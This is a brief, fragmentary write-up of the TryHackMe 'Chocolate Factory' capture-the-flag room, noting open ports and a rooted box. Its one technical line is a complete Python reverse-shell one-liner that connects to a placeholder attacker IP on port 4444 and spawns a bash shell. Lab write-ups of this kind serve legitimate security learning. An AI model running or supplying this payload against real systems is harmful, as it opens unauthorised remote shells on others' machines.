TryHackMe: Chocolate Factory Writeup

A Charlie And The Chocolate Factory themed room, revisit Willy Wonka’s chocolate factory!

  • Port 80 Webserver
  • Ports 100 to 125 open
Got a Key
cmd
Worked
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR_MACHINE_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
We are root now

B.Tech Undergraduate, Cybersecurity Enthusiast, CTF Player